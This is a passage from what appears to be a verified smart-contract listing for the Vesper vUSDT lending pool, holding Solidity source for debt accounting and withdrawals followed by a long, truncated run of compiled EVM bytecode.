based on current debt of pool and strategy, current debt limit of pool and strategy. // credit available = min(pool's debt limit, strategy's debt limit, max debt per rebalance) // when some strategy do not pay back outstanding debt, this impact credit line of other strategy if totalDebt of pool >= debtLimit of pool */ function availableCreditLimit(address _strategy) external view returns (uint256) { return _availableCreditLimit(_strategy); } /** * @notice Get total debt of given strategy */ function totalDebtOf(address _strategy) external view returns (uint256) { return strategy[_strategy].totalDebt; } /// @dev Returns total value of vesper pool, in terms of collateral token function totalValue() public view override returns (uint256) { return totalDebt + tokensHere(); } function _withdrawCollateral(uint256 _amount) internal virtual { // Withdraw amount from queue uint256 _debt; uint256 _balanceAfter; uint256 _balanceBefore; uint256 _amountWithdrawn; uint256 _amountNeeded = _amount; uint256 _totalAmountWithdrawn; for (uint256 i; i < withdrawQueue.length; i++) { _debt = strategy[withdrawQueue[i]].totalDebt; if (_debt == 0) { continue; } if (_amountNeeded > _debt) { // Should not withdraw more than current debt of strategy. _amountNeeded = _debt; } _balanceBefore = tokensHere(); //solhint-disable no-empty-blocks try IStrategy(withdrawQueue[i]).withdraw(_amountNeeded) {} catch { continue; } _balanceAfter = tokensHere(); _amountWithdrawn = _balanceAfter - _balanceBefore; // Adjusting totalDebt. Assuming that during next reportEarning(), strategy will report loss if amountWithdrawn < _amountNeeded strategy[withdrawQueue[i]].totalDebt -= _amountWithdrawn; totalDebt -= _amountWithdrawn; _totalAmountWithdrawn += _amountWithdrawn; if (_totalAmountWithdrawn >= _amount) { // withdraw done break; } _amountNeeded = _amount - _totalAmountWithdrawn; } } /** * @dev Before burning hook. * withdraw amount from strategies */ function _beforeBurning(uint256 _share) internal override returns (uint256 actualWithdrawn) { uint256 _amount = (_share * pricePerShare()) / 1e18; uint256 _balanceNow = tokensHere(); if (_amount > _balanceNow) { _withdrawCollateral(_amount - _balanceNow); _balanceNow = tokensHere(); } actualWithdrawn = _balanceNow < _amount ? _balanceNow : _amount; } /** @dev when a strategy report loss, its debtRatio decrease to get fund back quickly. */ function _reportLoss(address _strategy, uint256 _loss) internal { uint256 _currentDebt = strategy[_strategy].totalDebt; require(_currentDebt >= _loss, "loss-too-high"); strategy[_strategy].totalLoss += _loss; strategy[_strategy].totalDebt -= _loss; totalDebt -= _loss; uint256 _deltaDebtRatio = _min((_loss * MAX_BPS) / totalValue(), strategy[_strategy].debtRatio); strategy[_strategy].debtRatio -= _deltaDebtRatio; totalDebtRatio -= _deltaDebtRatio; } function _excessDebt(address _strategy) internal view returns (uint256) { uint256 _currentDebt = strategy[_strategy].totalDebt; if (stopEverything) { return _currentDebt; } uint256 _maxDebt = (strategy[_strategy].debtRatio * totalValue()) / MAX_BPS; return _currentDebt > _maxDebt ? (_currentDebt - _maxDebt) : 0; } function _availableCreditLimit(address _strategy) internal view returns (uint256) { if (stopEverything) { return 0; } uint256 _totalValue = totalValue(); uint256 _maxDebt = (strategy[_strategy].debtRatio * _totalValue) / MAX_BPS; uint256 _currentDebt = strategy[_strategy].totalDebt; if (_currentDebt >= _maxDebt) { return 0; } uint256 _poolDebtLimit = (totalDebtRatio * _totalValue) / MAX_BPS; if (totalDebt >= _poolDebtLimit) { return 0; } uint256 _available = _maxDebt - _currentDebt; _available = _min(_min(tokensHere(), _available), _poolDebtLimit - totalDebt); _available = _min( (block.number - strategy[_strategy].lastRebalance) * strategy[_strategy].debtRate, _available ); return _available; } /** @dev strategy get interest fee in pool share token */ function _transferInterestFee(uint256 _profit) internal { uint256 _fee = (_profit * strategy[_msgSender()].interestFee) / MAX_BPS; if (_fee != 0) { _fee = _calculateShares(_fee); _mint(_msgSender(), _fee); } } function _min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "./VTokenBase.sol"; //solhint-disable no-empty-blocks contract VUSDT is VTokenBase { string public constant VERSION = "3.0.3"; // USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7 constructor() VTokenBase("vUSDT Pool", "vUSDT", 0xdAC17F958D2ee523a2206206994597C13D831ec7) {} /// @dev Convert from 18 decimals to token defined decimals. function convertFrom18(uint256 _value) public pure override returns (uint256) { return _value / (10**12); } }
0x608060405234801561001057600080fd5b50600436106103ba5760003560e01c806399530b06116101f4578063d574ea3d1161011a578063fc0c546a116100ad578063fcfff16f1161007c578063fcfff16f14610890578063fd967f4714610898578063ff643a7c146108a1578063ffa1ad74146108b4576103ba565b8063fc0c546a14610831578063fc0e74d114610858578063fc76781014610860578063fc7b9c1814610887576103ba565b8063e1c7392a116100e9578063e1c7392a14610805578063e941fa781461080d578063f3b27bc314610816578063fb589de21461081e576103ba565b8063d574ea3d14610793578063daf635de146107a6578063dd62ed3e146107b9578063e00af4a7146107f2576103ba565b8063b8cb343d11610192578063d2c35ce811610161578063d2c35ce814610752578063d4c3eea014610765578063d505accf1461076d578063d53ddc2614610780576103ba565b8063b8cb343d14610711578063c0cbbca614610719578063c415b95c1461072c578063d20ed3ef1461073f576103ba565b8063a9059cbb116101ce578063a9059cbb146106c5578063b64321ec146106d8578063b6aa515b146106eb578063b6b55f25146106fe576103ba565b806399530b061461067e5780639f2b283314610686578063a457c2d7146106b2576103ba565b80633f4ba83a116102e457806370a0823111610277578063854f4d8011610246578063854f4d801461063d5780638f88d18c14610650578063951dc22c1461066357806395d89b4114610676576103ba565b806370a08231146105fc5780637b62f0701461060f5780637ecebe00146106225780638456cb5914610635576103ba565b80635c975abb116102b35780635c975abb146105b657806362518ddf146105c357806367187d3d146105d65780636cb56d19146105e9576103ba565b80633f4ba83a146105765780634938649a1461057e57806349eeb860146105905780634a970be7146105a3576103ba565b80631e89d5451161035c5780632e1a7d4d1161032b5780632e1a7d4d14610539578063313ce5671461054c5780633644e5151461055b5780633950935114610563576103ba565b80631e89d54514610478578063228bfd9f1461048b57806323b872dd1461051d5780632df9eab914610530576103ba565b80630c340a24116103985780630c340a24146104155780630dd21b6c1461044057806318160ddd146104535780631e751ac114610465576103ba565b806305bed046146103bf57806306fdde03146103d4578063095ea7b3146103f2575b600080fd5b6103d26103cd36600461538e565b6108d8565b005b6103dc610c4f565b6040516103e9919061541b565b60405180910390f35b6104056104003660046151ea565b610ce2565b60405190151581526020016103e9565b600854610428906001600160a01b031681565b6040516001600160a01b0390911681526020016103e9565b6103d261044e366004615215565b610cf8565b6002545b6040519081526020016103e9565b6103d2610473366004615105565b61104d565b610405610486366004615282565b6111b2565b6104e06104993660046150cd565b600c602052600090815260409020805460018201546002830154600384015460048501546005860154600687015460079097015460ff909616969495939492939192909188565b6040805198151589526020890197909752958701949094526060860192909252608085015260a084015260c083015260e0820152610100016103e9565b61040561052b36600461513d565b6112c1565b610457600d5481565b6103d261054736600461535e565b611374565b604051601281526020016103e9565b6104576113d5565b6104056105713660046151ea565b6113e4565b6103d261141b565b60065461040590610100900460ff1681565b601254610428906001600160a01b031681565b6103d26105b13660046153b9565b6114ca565b6006546104059060ff1681565b6104286105d136600461535e565b6115de565b6103d26105e4366004615105565b611608565b6103d26105f7366004615105565b611774565b61045761060a3660046150cd565b611f51565b6103d261061d3660046151ea565b611f70565b6104576106303660046150cd565b6120d1565b6103d26120f1565b6103d261064b36600461524f565b61219e565b6103d261065e3660046151ea565b6123d4565b601154610428906001600160a01b031681565b6103dc6125be565b6104576125cd565b6104576106943660046150cd565b6001600160a01b03166000908152600c602052604090206004015490565b6104056106c03660046151ea565b61262d565b6104056106d33660046151ea565b6126be565b6104576106e63660046150cd565b6126cb565b6103d26106f93660046150cd565b6126d6565b6103d261070c36600461535e565b612782565b6104576127d6565b6103d261072736600461535e565b612870565b600a54610428906001600160a01b031681565b6103d261074d3660046151ea565b612be8565b6103d26107603660046150cd565b612d1f565b610457612e4e565b6103d261077b36600461517d565b612e65565b61045761078e3660046150cd565b612fc9565b6104286107a136600461535e565b612fd4565b6103d26107b436600461535e565b612fe4565b6104576107c7366004615105565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6103d26108003660046150cd565b613137565b6103d261333c565b610457600b5481565b6103d26135f2565b61045761082c36600461535e565b6136be565b6104287f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec781565b6103d26136cf565b6104287f00000000000000000000000070574c98f9c05ff3f8015bf7ebe8bc85714d1aae81565b610457600e5481565b6103d261377c565b61045761271081565b6103d26108af36600461535e565b613829565b6103dc60405180604001604052806005815260200164332e302e3360d81b81525081565b336000908152600c602052604090205460ff1661093c5760405162461bcd60e51b815260206004820152601d60248201527f63616c6c65722d69732d6e6f742d6163746976652d737472617465677900000060448201526064015b60405180910390fd5b61094681846155c4565b6001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7166370a08231336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156109b557600080fd5b505afa1580156109c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ed9190615376565b1015610a3b5760405162461bcd60e51b815260206004820181905260248201527f696e73756666696369656e742d62616c616e63652d696e2d73747261746567796044820152606401610933565b8115610a4b57610a4b3383613975565b6000610a5633613ae3565b90506000610a648284613b75565b90508015610aad57336000908152600c602052604081206004018054839290610a8e90849061561b565b9250508190555080600e6000828254610aa7919061561b565b90915550505b6000610ab833613b8b565b90508015610b0157336000908152600c602052604081206004018054839290610ae29084906155c4565b9250508190555080600e6000828254610afb91906155c4565b90915550505b6000610b0d83886155c4565b905081811015610b5b57610b5633610b25838561561b565b6001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7169190613cd3565b610ba4565b81811115610ba457610ba43330610b72858561561b565b6001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec716929190613d36565b8615610bdb57336000908152600c602052604081206006018054899290610bcc9084906155c4565b90915550610bdb905087613d74565b336000818152600c602090815260409182902060040154600e5483518c81529283018b90528284018890526060830191909152608082015260a0810185905290517f29c6c60e040fcd722949346bda66341e8859b20b9a2124a625326ad10373391b9181900360c00190a250505050505050565b606060038054610c5e9061565e565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8a9061565e565b8015610cd75780601f10610cac57610100808354040283529160200191610cd7565b820191906000526020600020905b815481529060010190602001808311610cba57829003601f168201915b505050505090505b90565b6000610cef338484613dbd565b50600192915050565b6008546001600160a01b03163314610d225760405162461bcd60e51b81526004016109339061547e565b6001600160a01b038416610d735760405162461bcd60e51b815260206004820152601860248201527773747261746567792d616464726573732d69732d7a65726f60401b6044820152606401610933565b6001600160a01b0384166000908152600c602052604090205460ff1615610dd55760405162461bcd60e51b81526020600482015260166024820152751cdd1c985d1959de4b585b1c9958591e4b585919195960521b6044820152606401610933565b81600d54610de391906155c4565b600d8190556127101015610e395760405162461bcd60e51b815260206004820152601c60248201527f746f74616c44656274526174696f2d61626f76652d6d61785f627073000000006044820152606401610933565b612710831115610e8b5760405162461bcd60e51b815260206004820152601a60248201527f696e7465726573742d6665652d61626f76652d6d61785f6270730000000000006044820152606401610933565b600060405180610100016040528060011515815260200185815260200183815260200143815260200160008152602001600081526020016000815260200184815250905080600c6000876001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e08201518160070155905050600f859080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b031602179055506010859080600181540180825580915050600190039060005260206000200160009091909190916101000a8154816001600160a01b0302191690836001600160a01b03160217905550846001600160a01b03167f5ec27a4fa537fc86d0d17d84e0ee3172c9d253c78cc4ab5c69ee99c5f7084f5185858560405161103e939291909283526020830191909152604082015260600190565b60405180910390a25050505050565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561109e57600080fd5b505afa1580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d6919061533e565b6110f25760405162461bcd60e51b81526004016109339061544e565b604051630a3b0a4f60e01b81526001600160a01b038281166004830152831690630a3b0a4f90602401602060405180830381600087803b15801561113557600080fd5b505af1158015611149573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116d919061533e565b6111ae5760405162461bcd60e51b81526020600482015260126024820152711859190b5a5b8b5b1a5cdd0b59985a5b195960721b6044820152606401610933565b5050565b600081518351146111fd5760405162461bcd60e51b81526020600482015260156024820152740d2dce0eae85ad8cadccee8d05adad2e6dac2e8c6d605b1b6044820152606401610933565b60005b83518110156112b75761126184828151811061122c57634e487b7160e01b600052603260045260246000fd5b602002602001015184838151811061125457634e487b7160e01b600052603260045260246000fd5b60200260200101516126be565b6112a55760405162461bcd60e51b81526020600482015260156024820152741b5d5b1d1a4b5d1c985b9cd9995c8b59985a5b1959605a1b6044820152606401610933565b806112af81615693565b915050611200565b5060019392505050565b60006112ce848484613ed9565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156113535760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610933565b6113678533611362868561561b565b613dbd565b60019150505b9392505050565b600260075414156113975760405162461bcd60e51b815260040161093390615538565b6002600755600654610100900460ff16156113c45760405162461bcd60e51b8152600401610933906154b5565b6113cd816140b1565b506001600755565b60006113df6141f9565b905090565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610cef9185906113629086906155c4565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561146c57600080fd5b505afa158015611480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a4919061533e565b6114c05760405162461bcd60e51b81526004016109339061544e565b6114c86142ef565b565b600260075414156114ed5760405162461bcd60e51b815260040161093390615538565b600260075560065460ff16156115155760405162461bcd60e51b8152600401610933906154e1565b6001600160a01b037f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec71663d505accf336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604481018890526064810187905260ff8616608482015260a4810185905260c4810184905260e401600060405180830381600087803b1580156115b157600080fd5b505af11580156115c5573d6000803e3d6000fd5b505050506115d2856143aa565b50506001600755505050565b601081815481106115ee57600080fd5b6000918252602090912001546001600160a01b0316905081565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561165957600080fd5b505afa15801561166d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611691919061533e565b6116ad5760405162461bcd60e51b81526004016109339061544e565b604051631484968760e11b81526001600160a01b0382811660048301528316906329092d0e90602401602060405180830381600087803b1580156116f057600080fd5b505af1158015611704573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611728919061533e565b6111ae5760405162461bcd60e51b815260206004820152601760248201527f72656d6f76652d66726f6d2d6c6973742d6661696c65640000000000000000006044820152606401610933565b6008546001600160a01b0316331461179e5760405162461bcd60e51b81526004016109339061547e565b6001600160a01b0381166117ea5760405162461bcd60e51b81526020600482015260136024820152726e65772d616464726573732d69732d7a65726f60681b6044820152606401610933565b6001600160a01b0382166118365760405162461bcd60e51b81526020600482015260136024820152726f6c642d616464726573732d69732d7a65726f60681b6044820152606401610933565b306001600160a01b0316816001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561187957600080fd5b505afa15801561188d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b191906150e9565b6001600160a01b0316146119005760405162461bcd60e51b81526020600482015260166024820152756e6f742d76616c69642d6e65772d737472617465677960501b6044820152606401610933565b306001600160a01b0316826001600160a01b03166316f0115b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561194357600080fd5b505afa158015611957573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197b91906150e9565b6001600160a01b0316146119ca5760405162461bcd60e51b81526020600482015260166024820152756e6f742d76616c69642d6f6c642d737472617465677960501b6044820152606401610933565b6001600160a01b0382166000908152600c602052604090205460ff16611a325760405162461bcd60e51b815260206004820152601960248201527f73747261746567792d616c72656164792d6d69677261746564000000000000006044820152606401610933565b6001600160a01b0381166000908152600c602052604090205460ff1615611a945760405162461bcd60e51b81526020600482015260166024820152751cdd1c985d1959de4b585b1c9958591e4b585919195960521b6044820152606401610933565b6000604051806101000160405280600115158152602001600c6000866001600160a01b03166001600160a01b03168152602001908152602001600020600101548152602001600c6000866001600160a01b03166001600160a01b03168152602001908152602001600020600201548152602001600c6000866001600160a01b03166001600160a01b03168152602001908152602001600020600301548152602001600c6000866001600160a01b03166001600160a01b031681526020019081526020016000206004015481526020016000815260200160008152602001600c6000866001600160a01b03166001600160a01b031681526020019081526020016000206007015481525090506000600c6000856001600160a01b03166001600160a01b03168152602001908152602001600020600701819055506000600c6000856001600160a01b03166001600160a01b03168152602001908152602001600020600401819055506000600c6000856001600160a01b03166001600160a01b03168152602001908152602001600020600201819055506000600c6000856001600160a01b03166001600160a01b0316815260200190815260200160002060000160006101000a81548160ff02191690831515021790555080600c6000846001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e08201518160070155905050826001600160a01b031663ce5494bb836040518263ffffffff1660e01b8152600401611d3491906001600160a01b0391909116815260200190565b600060405180830381600087803b158015611d4e57600080fd5b505af1158015611d62573d6000803e3d6000fd5b5050505060005b600f54811015611e2057836001600160a01b0316600f8281548110611d9e57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415611e0e5782600f8281548110611ddb57634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550611e20565b80611e1881615693565b915050611d69565b5060005b601054811015611edb57836001600160a01b031660108281548110611e5957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415611ec9578260108281548110611e9657634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550611edb565b80611ed381615693565b915050611e24565b506001600160a01b038281166000818152600c6020908152604091829020600181015460078201546002909201548451918252928101919091529182015290918516907f35df46f62e188dd7abf424c0f449d857c487aa70360ca1bc904871a61617c20e906060015b60405180910390a3505050565b6001600160a01b0381166000908152602081905260409020545b919050565b6008546001600160a01b03163314611f9a5760405162461bcd60e51b81526004016109339061547e565b6001600160a01b038216611feb5760405162461bcd60e51b815260206004820152601860248201527773747261746567792d616464726573732d69732d7a65726f60401b6044820152606401610933565b6001600160a01b0382166000908152600c602052604090205460ff166120235760405162461bcd60e51b81526004016109339061550b565b6127108111156120755760405162461bcd60e51b815260206004820152601a60248201527f696e7465726573742d6665652d61626f76652d6d61785f6270730000000000006044820152606401610933565b6001600160a01b0382166000818152600c602052604090819020600101839055517f683b8ed6de444177ebfaa1bac367068d61bd9dfef1f4c309b35e05dd709e73e1906120c59084815260200190565b60405180910390a25050565b6001600160a01b0381166000908152600560205260408120545b92915050565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561214257600080fd5b505afa158015612156573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061217a919061533e565b6121965760405162461bcd60e51b81526004016109339061544e565b6114c8614401565b6012546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156121ef57600080fd5b505afa158015612203573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612227919061533e565b61226e5760405162461bcd60e51b815260206004820152601860248201527731b0b63632b916b4b996b737ba16b6b0b4b73a30b4b732b960411b6044820152606401610933565b8051806122b65760405162461bcd60e51b81526020600482015260166024820152757769746864726177616c2d71756575652d626c616e6b60501b6044820152606401610933565b601054811480156122c85750600f5481145b6123145760405162461bcd60e51b815260206004820152601f60248201527f696e636f72726563742d77697468647261772d71756575652d6c656e677468006044820152606401610933565b60005b818110156123bb57600c600084838151811061234357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff166123a95760405162461bcd60e51b815260206004820152601060248201526f696e76616c69642d737472617465677960801b6044820152606401610933565b806123b381615693565b915050612317565b5081516123cf906010906020850190614fd3565b505050565b6012546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561242557600080fd5b505afa158015612439573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061245d919061533e565b6124a45760405162461bcd60e51b815260206004820152601860248201527731b0b63632b916b4b996b737ba16b6b0b4b73a30b4b732b960411b6044820152606401610933565b6001600160a01b0382166000908152600c602052604090205460ff166124dc5760405162461bcd60e51b81526004016109339061550b565b6001600160a01b0382166000908152600c6020526040902060070154600d5482916125069161561b565b61251091906155c4565b600d81905561271010156125665760405162461bcd60e51b815260206004820152601c60248201527f746f74616c44656274526174696f2d61626f76652d6d61785f627073000000006044820152606401610933565b6001600160a01b0382166000818152600c602090815260409182902060078101859055600201548251858152918201527f3819805ced44aeebe5cbf4f81a253424557ef66c0a682cf3b54501e3fb935ba191016120c5565b606060048054610c5e9061565e565b60006125d860025490565b15806125e957506125e7612e4e565b155b15612606576125ff670de0b6b3a76400006136be565b9050610cdf565b600254612611612e4e565b61262390670de0b6b3a76400006155fc565b6113df91906155dc565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156126af5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610933565b6112b73385611362868561561b565b6000610cef338484613ed9565b60006120eb82613b8b565b6008546001600160a01b031633146127005760405162461bcd60e51b81526004016109339061547e565b6001600160a01b0381166127605760405162461bcd60e51b815260206004820152602160248201527f70726f706f7365642d676f7665726e6f722d69732d7a65726f2d6164647265736044820152607360f81b6064820152608401610933565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600260075414156127a55760405162461bcd60e51b815260040161093390615538565b600260075560065460ff16156127cd5760405162461bcd60e51b8152600401610933906154e1565b6113cd816143aa565b6040516370a0823160e01b81523060048201526000907f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b0316906370a082319060240160206040518083038186803b15801561283857600080fd5b505afa15801561284c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190615376565b6008546001600160a01b0316331461289a5760405162461bcd60e51b81526004016109339061547e565b6000600f82815481106128bd57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316808352600c90915260409091205490915060ff166129045760405162461bcd60e51b81526004016109339061550b565b6001600160a01b0381166000908152600c6020526040902060040154156129615760405162461bcd60e51b81526020600482015260116024820152701cdd1c985d1959de4b5a185ccb5919589d607a1b6044820152606401610933565b6001600160a01b0381166000908152600c60205260408120805460ff1916815560018082018390556002820183905560038201839055600482018390556005820183905560068201839055600790910191909155600f805490916129c49161561b565b815481106129e257634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600f80546001600160a01b039092169184908110612a1c57634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600f805480612a6957634e487b7160e01b600052603160045260246000fd5b600082815260208120820160001990810180546001600160a01b0319169055909101909155600f5467ffffffffffffffff811115612ab757634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612ae0578160200160208202803683370190505b5090506000805b601054811015612bcd57836001600160a01b031660108281548110612b1c57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614612bbb5760108181548110612b5757634e487b7160e01b600052603260045260246000fd5b9060005260206000200160009054906101000a90046001600160a01b0316838381518110612b9557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015281612bb781615693565b9250505b80612bc581615693565b915050612ae7565b508151612be1906010906020850190614fd3565b5050505050565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015612c3957600080fd5b505afa158015612c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c71919061533e565b612c8d5760405162461bcd60e51b81526004016109339061544e565b6001600160a01b0382166000908152600c602052604090205460ff16612cc55760405162461bcd60e51b81526004016109339061550b565b6001600160a01b0382166000818152600c6020908152604091829020600281018590556007015482519081529081018490527f3819805ced44aeebe5cbf4f81a253424557ef66c0a682cf3b54501e3fb935ba191016120c5565b6008546001600160a01b03163314612d495760405162461bcd60e51b81526004016109339061547e565b6001600160a01b038116612d9f5760405162461bcd60e51b815260206004820152601d60248201527f6665652d636f6c6c6563746f722d616464726573732d69732d7a65726f0000006044820152606401610933565b600a546001600160a01b0382811691161415612df25760405162461bcd60e51b815260206004820152601260248201527139b0b6b296b332b296b1b7b63632b1ba37b960711b6044820152606401610933565b600a546040516001600160a01b038084169216907f0f06062680f9bd68e786e9980d9bb03d73d5620fc3b345e417b6eacb310b970690600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000612e586127d6565b600e546113df91906155c4565b83421115612eb55760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e650000006044820152606401610933565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888612ee48c614459565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506000612f3f82614481565b90506000612f4f828787876144cf565b9050896001600160a01b0316816001600160a01b031614612fb25760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e617475726500006044820152606401610933565b612fbd8a8a8a613dbd565b50505050505050505050565b60006120eb82613ae3565b600f81815481106115ee57600080fd5b6008546001600160a01b0316331461300e5760405162461bcd60e51b81526004016109339061547e565b600a546001600160a01b031661305e5760405162461bcd60e51b81526020600482015260156024820152741999594b58dbdb1b1958dd1bdc8b5b9bdd0b5cd95d605a1b6044820152606401610933565b6127108111156130b05760405162461bcd60e51b815260206004820152601a60248201527f77697468647261772d6665652d6c696d69742d726561636865640000000000006044820152606401610933565b80600b5414156130f65760405162461bcd60e51b815260206004820152601160248201527073616d652d77697468647261772d66656560781b6044820152606401610933565b600b5460408051918252602082018390527f2bf847f5692332004b0f69e0d84a8f85ed020bcf8573b3ede68afc92009965bf910160405180910390a1600b55565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561318857600080fd5b505afa15801561319c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131c0919061533e565b6131dc5760405162461bcd60e51b81526004016109339061544e565b7f000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec76001600160a01b0316816001600160a01b031614156132555760405162461bcd60e51b815260206004820152601460248201527306e6f742d616c6c6f7765642d746f2d73776565760641b6044820152606401610933565b600a546001600160a01b03166132a55760405162461bcd60e51b81526020600482015260156024820152741999594b58dbdb1b1958dd1bdc8b5b9bdd0b5cd95d605a1b6044820152606401610933565b600a546040516370a0823160e01b8152306004820152613339916001600160a01b0390811691908416906370a082319060240160206040518083038186803b1580156132f057600080fd5b505afa158015613304573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133289190615376565b6001600160a01b0384169190613cd3565b50565b6008546001600160a01b031633146133665760405162461bcd60e51b81526004016109339061547e565b6011546001600160a01b0316156133b65760405162461bcd60e51b81526020600482015260146024820152731b1a5cdd0b585b1c9958591e4b58dc99585d195960621b6044820152606401610933565b600073ded8217de022706a191ee7ee0dc9df1185fb5da39050806001600160a01b0316630fab4d256040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561340a57600080fd5b505af115801561341e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061344291906150e9565b601160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550806001600160a01b0316630fab4d256040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156134a357600080fd5b505af11580156134b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134db91906150e9565b601280546001600160a01b0319166001600160a01b03928316179055601154600854604051630a3b0a4f60e01b81529083166004820152911690630a3b0a4f90602401602060405180830381600087803b15801561353857600080fd5b505af115801561354c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613570919061533e565b50601254600854604051630a3b0a4f60e01b81526001600160a01b039182166004820152911690630a3b0a4f90602401602060405180830381600087803b1580156135ba57600080fd5b505af11580156135ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ae919061533e565b6009546001600160a01b031633146136585760405162461bcd60e51b815260206004820152602360248201527f63616c6c65722d69732d6e6f742d7468652d70726f706f7365642d676f7665726044820152623737b960e91b6064820152608401610933565b6009546008546040516001600160a01b0392831692909116907fd4459d5b8b913cab0244230fd9b1c08b6ceace7fe9230e60d0f74cbffdf849d090600090a360098054600880546001600160a01b03199081166001600160a01b03841617909155169055565b60006120eb64e8d4a51000836155dc565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561372057600080fd5b505afa158015613734573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613758919061533e565b6137745760405162461bcd60e51b81526004016109339061544e565b6114c8614678565b6011546001600160a01b0316635dbe47e8336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156137cd57600080fd5b505afa1580156137e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613805919061533e565b6138215760405162461bcd60e51b81526004016109339061544e565b6114c86146d7565b6002600754141561384c5760405162461bcd60e51b815260040161093390615538565b6002600755600654610100900460ff16156138795760405162461bcd60e51b